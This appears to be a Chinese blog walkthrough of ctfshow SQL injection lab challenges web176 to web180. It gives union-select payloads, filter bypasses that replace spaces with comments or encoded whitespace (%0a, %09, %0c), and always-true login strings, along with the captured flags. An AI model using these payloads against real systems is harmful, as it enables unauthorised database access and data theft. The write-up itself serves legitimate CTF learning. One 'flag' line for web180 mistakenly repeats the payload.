ctfshow-web入门-sql注入(web176-web180)

78 篇文章 2 订阅
33 篇文章 2 订阅

目录

1、web176

2、web177

3、web178

4、web179

5、web180


1、web176

1' order by 4--+

 闭合后简单判断了下字段数是 3 

测试联合查询注入,存在关键字的过滤,包括 select 和 union

(后面经过测试实际只过滤了 select)

大小写绕过一下:

0' Union Select 1,2,3--+

回显成功 

数据库我都懒得查了,直接用 database() 函数回显的结果,查表:

0' Union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

得到表名为 ctfshow_user 

查该表下的所有列名:

0' Union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

题目中要求 username !='flag'

我们只查 id 和 password:

0' Union Select 1,id,password from ctfshow_user--+

拿到 flag:ctfshow{4dacb0f6-4795-43f4-8b76-d300234e40b6}

2、web177

测了一下是单引号,但是尝试注释后面的内容发现没有报错但是也没有回显

再用一个分号将后面的闭合,回显成功

可是在判断字段数时又没有回显了 

猜测空格被过滤掉了,采用内敛注释绕过,但是这里结尾的分号得用 url 编码的形式,即 %23,不然没有回显示,但是第一个单引号就可以直接用,我也不清楚是什么原因:

1'/**/order/**/by/**/3%23

还是在 4 的时候报错:

直接用上一题的 payload 改,将空格用 /**/ 替换:

0'/**/Union/**/Select/**/1,id,password/**/from/**/ctfshow_user%23

拿到弗兰格:ctfshow{0350cbf2-1553-46c3-bb48-f627bffcae9d}

此外,在前面的 rce 学习中,我们知道空格也可以用 %0a(换行符) 代替:

0'%0aUnion%0aSelect%0a1,id,password%0afrom%0actfshow_user%23

%09 水平制表符 (Tab) 也可以:

0'%09Union%0aSelect%091,id,password%09from%09ctfshow_user%23

 

3、web178

还是过滤空格,并且过滤了内敛注释,采用后面说的另外的两种方法:

0'%0aUnion%0aSelect%0a1,id,password%0afrom%0actfshow_user%23
0'%09Union%0aSelect%091,id,password%09from%09ctfshow_user%23

拿到 flag:ctfshow{9555668c-9592-41cd-9b2f-00d9627842b3}

4、web179

将上面的两个 %0a 和 %09 都过滤了,这是要赶尽杀绝啊。

试了下回车符 %0d 发现不行,采用 %0c (换页符)绕过:

0'%0cUnion%0cSelect%0c1,id,password%0cfrom%0cctfshow_user%23

 

拿到 flag:ctfshow{fd098ddd-f01e-414a-96dd-98548cec2fe3}

还可以采用万能密码:

1'||1%23

5、web180

这里 %23 、注释符都不行了,采用 --%0c 注释,%0c 代替空格:

判断字段数

1'order%0cby%0c3--%0c

 字段数还是 3 

 

查数据库名:

0'Union%0cSelect%0c1,2,database()--%0c

 数据库名为 ctfshow_web

 

查表名:

0'Union%0cSelect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c

得到表名为  ctfshow_user

查列名:

0'Union%0cSelect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c

 

查 password 就行了:

0'Union%0cSelect%0c1,2,password%0cfrom%0cctfshow_user--%0c

 

拿到 flag:0'Union%0cSelect%0c1,2,password%0cfrom%0cctfshow_user--%0c 

也可以在 union select 里再嵌套一个 select :

0'%0cUnion%0cSelect%0c1,(Select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

 

尝试上一题的万能密码,闭合后面语句,但是只能看到一行的数据:

0'||'1

我们只显示 username 为 flag 的信息:

0'||username='flag

注释掉后面内容,可以显示全部:

0'||1--%0c

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值